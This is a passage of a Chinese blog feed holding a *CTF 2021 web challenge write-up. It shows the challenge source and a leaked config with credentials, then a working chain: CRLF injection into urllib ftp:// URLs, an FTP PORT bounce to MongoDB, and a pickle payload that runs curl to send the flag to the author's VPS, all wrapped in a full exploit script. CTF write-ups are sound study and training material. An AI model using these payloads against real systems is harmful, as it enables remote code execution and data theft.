class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"><span class="keyword">import</span> urllib.request</span><br><span class="line"><span class="keyword">from</span> exts <span class="keyword">import</span> redis_client</span><br><span class="line"><span class="keyword">from</span> functools <span class="keyword">import</span> wraps</span><br><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> session, redirect, url_for</span><br><span class="line"><span class="keyword">from</span> models <span class="keyword">import</span> User</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">mark_data</span>(<span class="params"><span class="built_in">id</span>, data</span>):</span></span><br><span class="line">    expires = <span class="built_in">int</span>(time.time()) + <span class="number">240</span></span><br><span class="line">    p = redis_client.pipeline()</span><br><span class="line">    p.<span class="built_in">set</span>(<span class="built_in">id</span>, data)</span><br><span class="line">    p.expireat(<span class="built_in">id</span>, expires)</span><br><span class="line">    p.execute()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_data</span>(<span class="params"><span class="built_in">id</span></span>):</span></span><br><span class="line">    data = redis_client.get(<span class="built_in">id</span>)</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> data:</span><br><span class="line">        data = get_avatar(<span class="built_in">id</span>)</span><br><span class="line">        mark_data(<span class="built_in">id</span>, data)</span><br><span class="line">    <span class="keyword">return</span> data.decode()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">login_required</span>(<span class="params">f</span>):</span></span><br><span class="line"><span class="meta">    @wraps(f)</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">decorated_function</span>(<span class="params">*args, **kws</span>):</span></span><br><span class="line">            <span class="keyword">if</span> <span class="keyword">not</span> session.get(<span class="string">&quot;username&quot;</span>):</span><br><span class="line">               <span class="keyword">return</span> redirect(url_for(<span class="string">&#x27;login&#x27;</span>))</span><br><span class="line">            <span class="keyword">return</span> f(*args, **kws)</span><br><span class="line">    <span class="keyword">return</span> decorated_function</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_avatar</span>(<span class="params">username</span>):</span></span><br><span class="line"></span><br><span class="line">    dirpath = os.path.dirname(__file__)</span><br><span class="line">    user = User.query.filter_by(username=username).first()</span><br><span class="line"></span><br><span class="line">    avatar = user.avatar</span><br><span class="line">    <span class="keyword">if</span> re.match(<span class="string">&#x27;.+:.+&#x27;</span>, avatar):</span><br><span class="line">        path = avatar</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        path = <span class="string">&#x27;/&#x27;</span>.join([<span class="string">&#x27;file:/&#x27;</span>, dirpath, <span class="string">&#x27;static&#x27;</span>, <span class="string">&#x27;img&#x27;</span>, <span class="string">&#x27;avatar&#x27;</span>, avatar])</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        content = base64.b64encode(urllib.request.urlopen(path).read())</span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        error_path = <span class="string">&#x27;/&#x27;</span>.join([<span class="string">&#x27;file:/&#x27;</span>, dirpath, <span class="string">&#x27;static&#x27;</span>, <span class="string">&#x27;img&#x27;</span>, <span class="string">&#x27;avatar&#x27;</span>, <span class="string">&#x27;error.png&#x27;</span>])</span><br><span class="line">        content = base64.b64encode(urllib.request.urlopen(error_path).read())</span><br><span class="line">        print(e)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> content</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">random_dice</span>():</span></span><br><span class="line">    dices = [<span class="string">&#x27;1.gif&#x27;</span>, <span class="string">&#x27;2.gif&#x27;</span>, <span class="string">&#x27;3.gif&#x27;</span>, <span class="string">&#x27;4.gif&#x27;</span>, <span class="string">&#x27;5.gif&#x27;</span>, <span class="string">&#x27;6.gif&#x27;</span>, <span class="string">&#x27;surprise1.gif&#x27;</span>, <span class="string">&#x27;surprise2.gif&#x27;</span>]</span><br><span class="line">    <span class="keyword">return</span> random.choice(dices)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">random_card</span>():</span></span><br><span class="line">    color = [<span class="string">&#x27;♠️️&#x27;</span>, <span class="string">&#x27;❤️ &#x27;</span>, <span class="string">&#x27;️️🔷&#x27;</span>, <span class="string">&#x27;♣️&#x27;</span>, <span class="string">&#x27;🚩&#x27;</span>]</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&quot;%-5s&quot;</span> % random.choice(color) + <span class="string">&#x27; &#x27;</span> + <span class="string">&quot;%-3s&quot;</span> % <span class="built_in">str</span>(random.randint(<span class="number">1</span>, <span class="number">15</span>))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">md5</span>(<span class="params">data</span>):</span></span><br><span class="line">    m = hashlib.md5(data.encode())</span><br><span class="line">    <span class="keyword">return</span> m.hexdigest()</span><br></pre></td></tr></table></figure><p>config.py：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> pymongo</span><br><span class="line"><span class="keyword">from</span> ftplib <span class="keyword">import</span> FTP</span><br><span class="line"><span class="keyword">import</span> json</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Config</span>(<span class="params"><span class="built_in">object</span></span>):</span></span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">ftp_login</span>(<span class="params">self</span>):</span></span><br><span class="line">        ftp = FTP()</span><br><span class="line">        ftp.connect(<span class="string">&quot;172.20.0.2&quot;</span>, <span class="number">8877</span>)</span><br><span class="line">        ftp.login(<span class="string">&quot;fan&quot;</span>, <span class="string">&quot;root&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> ftp</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">callback</span>(<span class="params">self,*args, **kwargs</span>):</span></span><br><span class="line">        data = json.loads(args[<span class="number">0</span>].decode())</span><br><span class="line">        self.data = data</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">get_config</span>(<span class="params">self</span>):</span></span><br><span class="line">        f = self.ftp_login()</span><br><span class="line">        f.cwd(<span class="string">&quot;files&quot;</span>)</span><br><span class="line">        buf_size = <span class="number">1024</span></span><br><span class="line">        f.retrbinary(<span class="string">&#x27;RETR &#123;&#125;&#x27;</span>.<span class="built_in">format</span>(<span class="string">&#x27;config.json&#x27;</span>), self.callback, buf_size)</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self</span>):</span></span><br><span class="line">        self.get_config()</span><br><span class="line">        data = self.data</span><br><span class="line"></span><br><span class="line">        self.secret_key = data[<span class="string">&#x27;secret_key&#x27;</span>]</span><br><span class="line">        self.SECRET_KEY = data[<span class="string">&#x27;secret_key&#x27;</span>]</span><br><span class="line">        self.DEBUG = data[<span class="string">&#x27;DEBUG&#x27;</span>]</span><br><span class="line">        self.SESSION_TYPE = data[<span class="string">&#x27;SESSION_TYPE&#x27;</span>]</span><br><span class="line">        remote_mongo_ip = data[<span class="string">&#x27;REMOTE_MONGO_IP&#x27;</span>]</span><br><span class="line">        remote_mongo_port = data[<span class="string">&#x27;REMOTE_MONGO_PORT&#x27;</span>]</span><br><span class="line">        self.SESSION_MONGODB = pymongo.MongoClient(remote_mongo_ip, remote_mongo_port)</span><br><span class="line">        self.SESSION_MONGODB_DB = data[<span class="string">&#x27;SESSION_MONGODB_DB&#x27;</span>]</span><br><span class="line">        self.SESSION_MONGODB_COLLECT = data[<span class="string">&#x27;SESSION_MONGODB_COLLECT&#x27;</span>]</span><br><span class="line">        self.SESSION_PERMANENT = data[<span class="string">&#x27;SESSION_PERMANENT&#x27;</span>]</span><br><span class="line">        self.SESSION_USE_SIGNER = data[<span class="string">&#x27;SESSION_USE_SIGNER&#x27;</span>]</span><br><span class="line">        self.SESSION_KEY_PREFIX = data[<span class="string">&#x27;SESSION_KEY_PREFIX&#x27;</span>]</span><br><span class="line"></span><br><span class="line">        self.SQLALCHEMY_DATABASE_URI = data[<span class="string">&#x27;SQLALCHEMY_DATABASE_URI&#x27;</span>]</span><br><span class="line">        self.SQLALCHEMY_TRACK_MODIFICATIONS = data[<span class="string">&#x27;SQLALCHEMY_TRACK_MODIFICATIONS&#x27;</span>]</span><br><span class="line"></span><br><span class="line">        self.REDIS_URL = data[<span class="string">&#x27;REDIS_URL&#x27;</span>]</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>开了个 ftp，读取  config.json：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ftp:&#x2F;&#x2F;fan:root@172.20.0.2:8877&#x2F;files&#x2F;config.json</span><br></pre></td></tr></table></figure><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">  <span class="attr">&quot;secret_key&quot;</span>:<span class="string">&quot;f4545478ee86$%^&amp;&amp;%$#&quot;</span>,</span><br><span class="line">  <span class="attr">&quot;DEBUG&quot;</span>: <span class="literal">false</span>,</span><br><span class="line">  <span class="attr">&quot;SESSION_TYPE&quot;</span>: <span class="string">&quot;mongodb&quot;</span>,</span><br><span class="line">  <span class="attr">&quot;REMOTE_MONGO_IP&quot;</span>: <span class="string">&quot;172.20.0.5&quot;</span>,</span><br><span class="line">  <span class="attr">&quot;REMOTE_MONGO_PORT&quot;</span>: <span class="number">27017</span>,</span><br><span class="line">  <span class="attr">&quot;SESSION_MONGODB_DB&quot;</span>: <span class="string">&quot;admin&quot;</span>,</span><br><span class="line">  <span class="attr">&quot;SESSION_MONGODB_COLLECT&quot;</span>: <span class="string">&quot;sessions&quot;</span>,</span><br><span class="line">  <span class="attr">&quot;SESSION_PERMANENT&quot;</span>: <span class="literal">true</span>,</span><br><span class="line">  <span class="attr">&quot;SESSION_USE_SIGNER&quot;</span>: <span class="literal">false</span>,</span><br><span class="line">  <span class="attr">&quot;SESSION_KEY_PREFIX&quot;</span>: <span class="string">&quot;session:&quot;</span>,</span><br><span class="line">  <span class="attr">&quot;SQLALCHEMY_DATABASE_URI&quot;</span>: <span class="string">&quot;mysql+pymysql://root:starctf123456@172.20.0.3:3306/ctf?charset=utf8&quot;</span>,</span><br><span class="line">  <span class="attr">&quot;SQLALCHEMY_TRACK_MODIFICATIONS&quot;</span>: <span class="literal">true</span>,</span><br><span class="line">  <span class="attr">&quot;REDIS_URL&quot;</span>: <span class="string">&quot;redis://@172.20.0.4:6379/0&quot;</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个 urllib.request.urlopen，测试发现存在 CRLF 注入。</p><p>分析一下，题目连同 webserver，一共启动了 webserver、ftp、mongodb、mysql 与 redis 5 个容器。题目提示需要 webserver 的 rce，以及与 redis 无关。</p><p>在 config.json 中可以看到 session 是使用 mongodb 存储的，以前总是考使用 redis 存储，ssrf 攻击 redis 注入恶意序列化数据 getshell。这个题虽然是使用 mongodb 存储 session，但因为 flask-session 把 session 数据序列化，所以无论使用什么存储 session，理论上都有 ssrf + 反序列化的可能。</p><p>现在我们的目标是将恶意的序列化数据注入到mongodb里，这就需要借助 ftp 了。为什么不能使用<code>http://ip:port\r\npayload\r\n</code>这种呢，因为 mongodb 是二进制协议，这样做前面会有多余的部分（http 包，前面的GET与路径部分等），会影响 mongodb。</p><p>所以我们需要借助 ftp，ftp 主动模式与被动模式，以及 CRLF 可以参考@Zeddy 的文章：<a href="http://blog.zeddyu.info/2020/04/20/Plaid-CTF-2020-Web-1/">http://blog.zeddyu.info/2020/04/20/Plaid-CTF-2020-Web-1/</a></p><p>比赛的时候，一直向着被动模式，尝试让 webserver 下载文件，思路走偏了。这个题其实是利用主动模式下载文件与上传文件。</p><p>先放一张主动模式的示意图：</p><p><img src="/2021/01/19/2021-starctf/v2-0db8a30b0848c731fdb70f3270f5fba3_1440w.jpg" alt="img"></p><p>既然我们利用 http 无法攻击 mongodb，那么就需要 ftp 服务器帮我们把数据打过去。可以想到我们可以在主动模式的步骤 2，用 PORT 命令把客户端指定成 mongodb 服务的 ip 和端口，再选择下载文件，这样就可以把文件的内容打到 mongodb 服务。</p><p>那么这个攻击前提是我们需要将数据包写到 ftp server 的一个文件里，这也可以利用主动模式实现。我们同样在步骤 2，用 PORT 命令把客户端指定成我们 vps 的 ip 和端口，再选择上传文件，那么 ftp server 就可以从我们的vps这里下载文件。</p><p>所以思路明确了，步骤如下：</p><ol><li>将数据包放到vps上，利用 ftp 将数据包上传到 ftp server；</li><li>利用 ftp 把 ftp server 的数据包发送到 mongodb （把流量打过去）</li><li>刷新相应 session 页面，触发反序列化</li></ol><p>现在剩下的一个问题就是 mongodb 的数据包我们没有，这里采取本地抓包的方式。也可以参考 L 战队师傅的方法：<a href="https://blog.frankli.site/2021/01/18/*CTF-2021-Web/">https://blog.frankli.site/2021/01/18/*CTF-2021-Web/</a></p><p>首先启一个 mongodb 的docker：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker run -itd --name mongo -p 27017:27017 mongo</span><br></pre></td></tr></table></figure><p>按照题目，进入容器，创建名为 admin 的数据库与名为 sessions 的 collection。</p><p>这里为了抓流量，使用 socat 转发流量：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">socat -v -x tcp-listen:4444,fork tcp-connect:localhost:27017</span><br></pre></td></tr></table></figure><p>拿 python 插入数据：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">from</span> base64 <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"><span class="keyword">import</span> cPickle</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">from</span> pymongo <span class="keyword">import</span> MongoClient</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_payload</span>():</span></span><br><span class="line">    cmd = <span class="string">&#x27;curl -d &quot;`/readflag`&quot; vps:2333&#x27;</span></span><br><span class="line"></span><br><span class="line">    <span class="class"><span class="keyword">class</span> <span class="title">exp</span>(<span class="params"><span class="built_in">object</span></span>):</span></span><br><span class="line">        <span class="function"><span class="keyword">def</span> <span class="title">__reduce__</span>(<span class="params">self</span>):</span></span><br><span class="line">            <span class="keyword">return</span> (os.system, (cmd,))</span><br><span class="line"></span><br><span class="line">    data = cPickle.dumps(exp())</span><br><span class="line"></span><br><span class="line">    client = MongoClient(<span class="string">&#x27;localhost&#x27;</span>, <span class="number">4444</span>)</span><br><span class="line">    tmp = client.admin.sessions</span><br><span class="line">    tmp.update_one(</span><br><span class="line">        &#123;<span class="string">&#x27;id&#x27;</span>: <span class="string">&#x27;session:1b3c3cb9-d81c-419d-8e2d-3a8130ebde62&#x27;</span>&#125;,</span><br><span class="line">        &#123;<span class="string">&quot;$set&quot;</span>: &#123;<span class="string">&quot;val&quot;</span>: data&#125;&#125;,</span><br><span class="line">        upsert=<span class="literal">True</span></span><br><span class="line">    )</span><br><span class="line">get_payload()</span><br></pre></td></tr></table></figure><p>可以看到 socat 记录下了流量：</p><img src="/2021/01/19/2021-starctf/image-20210119144403189.png" alt="image-20210119144403189" style="zoom:50%;"><p>这部分是插入数据的流量，我们需要十六进制保存下来：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">socat -x tcp-listen:4444,fork tcp-connect:localhost:27017</span><br></pre></td></tr></table></figure><p>把数据包保存，放到 vps上，起个监听的服务：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> socket <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> time <span class="keyword">import</span> ctime</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">HOST = <span class="string">&#x27;0.0.0.0&#x27;</span></span><br><span class="line">PORT = <span class="number">2202</span></span><br><span class="line">BUFSIZ = <span class="number">1024</span></span><br><span class="line">ADDR = (HOST, PORT)</span><br><span class="line"></span><br><span class="line">tcpSerSock = socket(AF_INET, SOCK_STREAM)</span><br><span class="line">tcpSerSock.bind(ADDR)</span><br><span class="line">tcpSerSock.listen(<span class="number">5</span>)</span><br><span class="line"></span><br><span class="line">cnt = <span class="number">0</span></span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">    print(<span class="string">&#x27;waiting for connection...&#x27;</span>)</span><br><span class="line">    tcpCliSock, addr = tcpSerSock.accept()</span><br><span class="line">    cnt += <span class="number">1</span></span><br><span class="line">    print(<span class="string">&#x27;...connnecting from:&#x27;</span>, addr)</span><br><span class="line">    <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>):</span><br><span class="line">        content = <span class="built_in">open</span>(<span class="string">&#x27;gml.txt&#x27;</span>,<span class="string">&#x27;rb&#x27;</span>).read()</span><br><span class="line">        print(content)</span><br><span class="line">        tcpCliSock.send(content)</span><br><span class="line">tcpSerSock.close()</span><br></pre></td></tr></table></figure><p>现在让 ftp server 下载我们的文件：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ftp:&#x2F;&#x2F;fan:root\r\nCWD .\r\nTYPE I\r\nPORT x,x,x,x,6,666\r\nSTOR gml.txt\r\n@172.20.0.2:8877&#x2F;&quot;</span><br></pre></td></tr></table></figure><p>注意 PORT 命令格式，前四个数字是十进制的ip，后两个是 <code>6*256+666=2202</code>，这么计算的端口号。</p><p>再次访问 ftp，发现有了文件：</p><p><img src="/2021/01/19/2021-starctf/image-20210119142025328.png" alt="image-20210119142025328"></p><p>下面让 ftp server 去向 mongoldb 发流量（端口号<code>105*256+137=27017</code>）</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ftp:&#x2F;&#x2F;fan:root\r\nCWD .\r\nTYPE I\r\nPORT 172,20,0,5,105,137\r\nRETR gml.txt\r\n@172.20.0.2:8877&#x2F;</span><br></pre></td></tr></table></figure><p>然后刷新一下页面：</p><img src="/2021/01/19/2021-starctf/image-20210119142245882.png" alt="image-20210119142245882" style="zoom:50%;"><p>完整的脚本：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">from</span> base64 <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"><span class="keyword">import</span> cPickle</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">from</span> pymongo <span class="keyword">import</span> MongoClient</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_payload</span>():</span></span><br><span class="line">    cmd = <span class="string">&#x27;curl -d &quot;`/readflag`&quot; x,x,x,x:2333&#x27;</span></span><br><span class="line"></span><br><span class="line">    <span class="class"><span class="keyword">class</span> <span class="title">exp</span>(<span class="params"><span class="built_in">object</span></span>):</span></span><br><span class="line">        <span class="function"><span class="keyword">def</span> <span class="title">__reduce__</span>(<span class="params">self</span>):</span></span><br><span class="line">            <span class="keyword">return</span> (os.system, (cmd,))</span><br><span class="line"></span><br><span class="line">    data = cPickle.dumps(exp())</span><br><span class="line"></span><br><span class="line">    client = MongoClient(<span class="string">&#x27;localhost&#x27;</span>, <span class="number">4444</span>)</span><br><span class="line">    tmp = client.admin.sessions</span><br><span class="line">    tmp.update_one(</span><br><span class="line">        &#123;<span class="string">&#x27;id&#x27;</span>: <span class="string">&#x27;session:1b3c3cb9-d81c-419d-8e2d-3a8130ebde62&#x27;</span>&#125;,</span><br><span class="line">        &#123;<span class="string">&quot;$set&quot;</span>: &#123;<span class="string">&quot;val&quot;</span>: data&#125;&#125;,</span><br><span class="line">        upsert=<span class="literal">True</span></span><br><span class="line">    )</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">attack</span>(<span class="params">filename</span>):</span></span><br><span class="line">    url = <span class="string">&quot;http://52.163.52.206:8088/&quot;</span></span><br><span class="line">    session = requests.Session()</span><br><span class="line">    username = <span class="string">&quot;&quot;</span>.join([random.choice(string.ascii_letters + string.digits) <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">8</span>)])</span><br><span class="line">    password = <span class="string">&quot;&quot;</span>.join([random.choice(string.ascii_letters + string.digits) <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">8</span>)])</span><br><span class="line"></span><br><span class="line">    paramsPost = &#123;<span class="string">&quot;password&quot;</span>: password, <span class="string">&quot;avatar&quot;</span>: filename, <span class="string">&quot;submit&quot;</span>: <span class="string">&quot;Go!&quot;</span>, <span class="string">&quot;username&quot;</span>: username&#125;</span><br><span class="line">    headers = &#123;<span class="string">&quot;Origin&quot;</span>: url, <span class="string">&quot;Cache-Control&quot;</span>: <span class="string">&quot;max-age=0&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Accept&quot;</span>: <span class="string">&quot;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Upgrade-Insecure-Requests&quot;</span>: <span class="string">&quot;1&quot;</span>,</span><br><span class="line">               <span class="string">&quot;User-Agent&quot;</span>: <span class="string">&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Referer&quot;</span>: url + <span class="string">&quot;login&quot;</span>, <span class="string">&quot;Connection&quot;</span>: <span class="string">&quot;close&quot;</span>, <span class="string">&quot;Accept-Language&quot;</span>: <span class="string">&quot;zh-CN,zh;q=0.9&quot;</span>,</span><br><span class="line">               <span class="string">&quot;Content-Type&quot;</span>: <span class="string">&quot;application/x-www-form-urlencoded&quot;</span>&#125;</span><br><span class="line">    response = session.post(url + <span class="string">&quot;login&quot;</span>, data=paramsPost, headers=headers, proxies=&#123;<span class="string">&#x27;http&#x27;</span>: <span class="string">&#x27;http://127.0.0.1:8080&#x27;</span>&#125;)</span><br><span class="line"></span><br><span class="line">    content = session.get(url + <span class="string">&#x27;shake_and_dice&#x27;</span>).content</span><br><span class="line"></span><br><span class="line">    res = content[content.find(<span class="string">&#x27;&lt;img src=&quot;&#x27;</span>) + <span class="built_in">len</span>(<span class="string">&#x27;&lt;img src=&quot;&#x27;</span>):content.find(<span class="string">&#x27;&quot; class=&quot;img-thumbnail&quot;&#x27;</span>)]</span><br><span class="line">    res = res[res.find(<span class="string">&#x27;data:image/png;base64,&#x27;</span>) + <span class="built_in">len</span>(<span class="string">&#x27;data:image/png;base64,&#x27;</span>):]</span><br><span class="line">    <span class="comment"># print res</span></span><br><span class="line">    file = b64decode(res)</span><br><span class="line">    name = filename.split(<span class="string">&#x27;/&#x27;</span>)[<span class="number">-1</span>]</span><br><span class="line">    <span class="built_in">print</span> file</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    <span class="comment"># get_payload()</span></span><br><span class="line">    <span class="comment"># attack(&quot;ftp://fan:root@172.20.0.2:8877/&quot;)</span></span><br><span class="line">    <span class="comment"># attack(&quot;ftp://fan:root\r\nCWD .\r\nTYPE I\r\nPORT x,x,x,x,6,666\r\nSTOR gml.txt\r\n@172.20.0.2:8877/&quot;)</span></span><br><span class="line">    attack(<span class="string">&quot;ftp://fan:root\r\nCWD .\r\nTYPE I\r\nPORT 172,20,0,5,105,137\r\n\r\nRETR gml.txt\r\n@172.20.0.2:8877/&quot;</span>)</span><br></pre></td></tr></table></figure><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>这次除了 bet 感觉剩下不是那么传统的 Web，自己因为之前 ftp 没调过也没复现过（之前应该有几次比赛考察了 ftp ，吃了懒惰的亏…</p><p>最后离 0ops 就差一道题有点可惜，不过 0ops 之前有门票，应该也进了 XCTF Final。anyway，这次算是战队全力打了，队友都 tql。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;因为战队之前 XCTF 没怎么全员打，没有门票，*CTF是最后一次入场券了，所以周末跟队友全力打了下 *CTF。有点可惜，差了道 Web（背锅…&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/2021/01/19/2021-starctf/image-20210118183846729.png&quot; alt=&quot;image-20210118183846729&quot;&gt;&lt;/p&gt;
&lt;p&gt;四道 Web，感觉除了 bet，剩下的都不那么 Web…&lt;/p&gt;</summary>
    
    
    
    <category term="CTF" scheme="https://igml.top/categories/CTF/"/>
    
    <category term="Web" scheme="https://igml.top/categories/CTF/Web/"/>
    
    
    <category term="CTF" scheme="https://igml.top/tags/CTF/"/>
    
    <category term="Web" scheme="https://igml.top/tags/Web/"/>
    
    <category term="wp" scheme="https://igml.top/tags/wp/"/>
    
  </entry>
  
  <entry>
    <title>2020 XCTF 华为云专场部分wp</title>
    <link href="https://igml.top/2020/12/21/2020-XCTF-huawei-cloud/"/>
    <id>https://igml.top/2020/12/21/2020-XCTF-huawei-cloud/</id>
    <published>2020-12-21T10:45:02.000Z</published>
    <updated>2020-12-21T11:19:15.422Z</updated>
    
